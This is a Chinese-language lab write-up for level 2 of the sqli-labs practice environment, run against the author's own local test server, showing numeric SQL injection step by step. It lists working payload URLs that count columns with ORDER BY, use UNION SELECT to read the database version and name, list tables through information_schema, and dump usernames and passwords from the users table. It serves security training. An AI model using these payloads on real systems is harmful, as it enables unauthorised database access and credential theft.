sqli-labs-master第二关：Error Based- Intiger

前言：经过第一关的学习，我相信你已经对sql注入有了简单的了解，如果还没看第一关，请关注我的以前博客，话不多说开始吧。
第二关：
http://192.168.89.131/sqli-labs-master/Less-2/

还是跟着第一关思路来分析
用http://192.168.89.131/sqli-labs-master/Less-2/?id=1%27来测试

报我们语句有错误，和第一关报错一样。我们猜想有两种可能：1.可能我们的’没有被过滤，导致语法错误。2.可能就是简单的“字符”注入从而导致多出来一个’，导致语法错误。

接下来为了验证我们的猜想我们为一一尝试
先验证是不是字符注入：
http://192.168.89.131/sqli-labs-master/Less-2/?id=1’ and1=1 %23

还是说我们语法错误，第一种可能被排除，接着验证第二种猜想。
http://192.168.89.131/sqli-labs-master/Less-2/?id=1 and 1 = 1 %23

看到结果我们笑了，和们的猜想的一样，判断是数字型注入。
到底有没有注入点呢？还需要一步检测
http://192.168.89.131/sqli-labs-master/Less-2/?id=1 and 1 = 2 %23

是不是感觉很熟悉，没有回显，存在注入点。
接下来的步骤我想你们也能猜想到，猜字段呗
http://192.168.89.131/sqli-labs-master/Less-2/?id=1 order by 1 %23

我们以此类推知道猜到4时
http://192.168.89.131/sqli-labs-master/Less-2/?id=1 order by 4 %23

回显错误，说明只有3个字段
接下来用SQL UNION 操作符进行联合查询
http://192.168.89.131/sqli-labs-master/Less-2/?id=-1 union select 1,2,3 %23

看到2和3
用version()看版本：
用database()看当前网站使用的数据库
http://192.168.89.131/sqli-labs-master/Less-2/?id=-1 union select 1,version(), database() %23

我们通过上图可以看到数据库是“security”
版本是5.6.48

接下来查看数据库中的表的名称信息：

http://192.168.89.131/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = ‘security’ %23

接下来就是查看username和password里的内容：
http://192.168.89.131/sqli-labs-master/Less-2/?id=-1 union select 1,username,password from users where id = 2 %23

我们在看到users表里还看到了id，我们看看有多少组账号密码
只需要在后面加上 where id = n
即可经过测试 id 最大是14
http://192.168.89.131/sqli-labs-master/Less-2/?id=-1 union select 1,username,password from users where id = 14%23

第二关结束
总结：第一关与第二关的异同，注入类型不一样。整体思路与方法并没有变。
本文章为自己搭建实验环境做过的，参考过一些资料，希望对你有帮助